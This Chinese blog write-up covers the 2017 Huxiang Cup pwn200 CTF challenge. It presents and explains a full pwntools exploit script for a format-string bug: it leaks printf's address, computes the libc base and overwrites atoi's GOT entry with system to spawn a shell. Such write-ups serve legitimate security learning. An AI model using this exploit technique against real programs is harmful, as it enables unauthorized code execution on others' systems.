2017湖湘杯pwn200_wp_格式化字符串漏洞

版权声明:转发请注明出处 https://blog.csdn.net/aptx4869_li/article/details/78950337

本文是格式化字符串漏洞的利用,题目为2017年湖湘杯pwn200,题目文件

链接:https://pan.baidu.com/s/1geZAemZ密码:b51f

0x0001

看文件类型为elf文件,用  binwalk  查看一下:



一个32位的文件,用IDA看看:

main函数:



sub_80485CD():



这里可以大致知道这个程序干了什么,实际运行看一下,确实如我们所想的那样:



从 sub_80485CD() 这个函数中,我们可以发现 printf 的参数是直接将输入的数据传了过去,那么这样必然导致存在格式化字符串漏洞

0x0002

pwntools中提供了方便的格式化字符串漏洞利用脚本,这里直接使用它们,上脚本,我也是刚接触不久,看了几个大佬的脚本,有些跑不出来shell,有些省略了前面的一些关键步骤,我把它们的融合到一起直接跑了就能够拿到  shell,这里是我的脚本:

#!/usr/bin/env python  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
elf = ELF('pwne')
libc = elf.libc
#raw_input("\n[****start****]")
r = process('/root/pwne')
def exec_fmt(payload):
    r.recvuntil('WANT PLAY[Y/N]\n')
    r.sendline('Y')
    r.recvuntil('GET YOUR NAME:\n')
    r.recvuntil('\n')
    r.sendline(payload)
    info = r.recv().splitlines()[1]
    print "info:"+info
    r.sendline('10')
    #r.close()
    return info
autofmt = FmtStr(exec_fmt)
r.close()

p = process(elf.path)
def exploit(name, age='20'):
	p.sendlineafter('WANT PLAY[Y/N]\n', 'Y')
	p.sendlineafter('GET YOUR NAME:\n\n', name)
	p.recvuntil('WELCOME \n')
	content = p.recvuntil('GET YOUR ', drop=True)
	p.sendafter('AGE:\n\n', age)
	return content

offset = autofmt.offset   #offset=7

tmp = exploit(flat(elf.got['printf'], 'AAAA%7$sBBBB'))

#print ("flat():--------",flat(elf.got['printf'], 'AAAA%7$sBBBB'))
#print ("flat():--------",flat('AAAA%7$sBBBB',elf.got['printf']))
#print ("printf:----------",hex(elf.got['printf']))
#print ("tmp :----------",tmp)

libc_base = u32(tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]) - libc.symbols['printf']

#print ("libc_base :----------",hex(libc_base))
#print ("tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]:---",tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4])
#print ("tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]:---",hex(u32(tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4])))

system = libc_base + libc.symbols['system']
exploit(fmtstr_payload(offset, {elf.got['atoi']:system}), '/bin/sh\x00')
p.interactive()

直接用脚本跑一下就可以出拿到  shell  :



0x0003

接下来分析一下脚本:

r = process('/root/pwne')
def exec_fmt(payload):
    r.recvuntil('WANT PLAY[Y/N]\n')
    r.sendline('Y')
    r.recvuntil('GET YOUR NAME:\n')
    r.recvuntil('\n')
    r.sendline(payload)
    info = r.recv().splitlines()[1]
    print "info:"+info
    r.sendline('10')
    #r.close()
    return info
autofmt = FmtStr(exec_fmt)
r.close()

这一段通过执行这个文件,和程序进行交互,获取相关信息,最后一步是关键

autofmt = FmtStr(exec_fmt)

这一步提供自动化的利用,可以看看上面的脚本跑出来的信息,FmtStr() 这个函数构造payload,通过一次次的尝试确定了参数的位置(偏移地址),在第七次的时候,找到了format的偏移地址:


偏移地址为 offset=7 ,即 autofmt.offset = 7 ,
p = process(elf.path)
def exploit(name, age='20'):
	p.sendlineafter('WANT PLAY[Y/N]\n', 'Y')
	p.sendlineafter('GET YOUR NAME:\n\n', name)
	p.recvuntil('WELCOME \n')
	content = p.recvuntil('GET YOUR ', drop=True)
	p.sendafter('AGE:\n\n', age)
	return content
offset = autofmt.offset   #offset=7

tmp = exploit(flat(elf.got['printf'], 'AAAA%7$sBBBB'))
#调用exploit函数泄漏printf函数的实际地址
#print ("flat():--------",flat(elf.got['printf'], 'AAAA%7$sBBBB'))
#print ("flat():--------",flat('AAAA%7$sBBBB',elf.got['printf']))
#print ("printf:----------",hex(elf.got['printf']))
#print ("tmp :----------",tmp)
libc_base = u32(tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]) - libc.symbols['printf']  
 #计算出libc加载起来的基地址,基地址加上printf函数在libc中的相对偏移地址得到的就是实际地址,这样可以算出实际地址
#print ("libc_base :----------",hex(libc_base))
#print ("tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]:---",tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4])
#print ("tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4]:---",hex(u32(tmp[tmp.index('AAAA')+4:tmp.index('BBBB')][:4])))
system = libc_base + libc.symbols['system']
#libc的基地址加上system的偏移地址就是system的实际地址
exploit(fmtstr_payload(offset, {elf.got['atoi']:system}), '/bin/sh\x00')
#这一步利用 fmtstr_payload(offset, {elf.got['atoi']:system}) 这一自动利用工具直接将atoi的got表中的地址修改为system的地址
p.interactive()    #python shell进行交互















猜你喜欢

转载自blog.csdn.net/aptx4869_li/article/details/78950337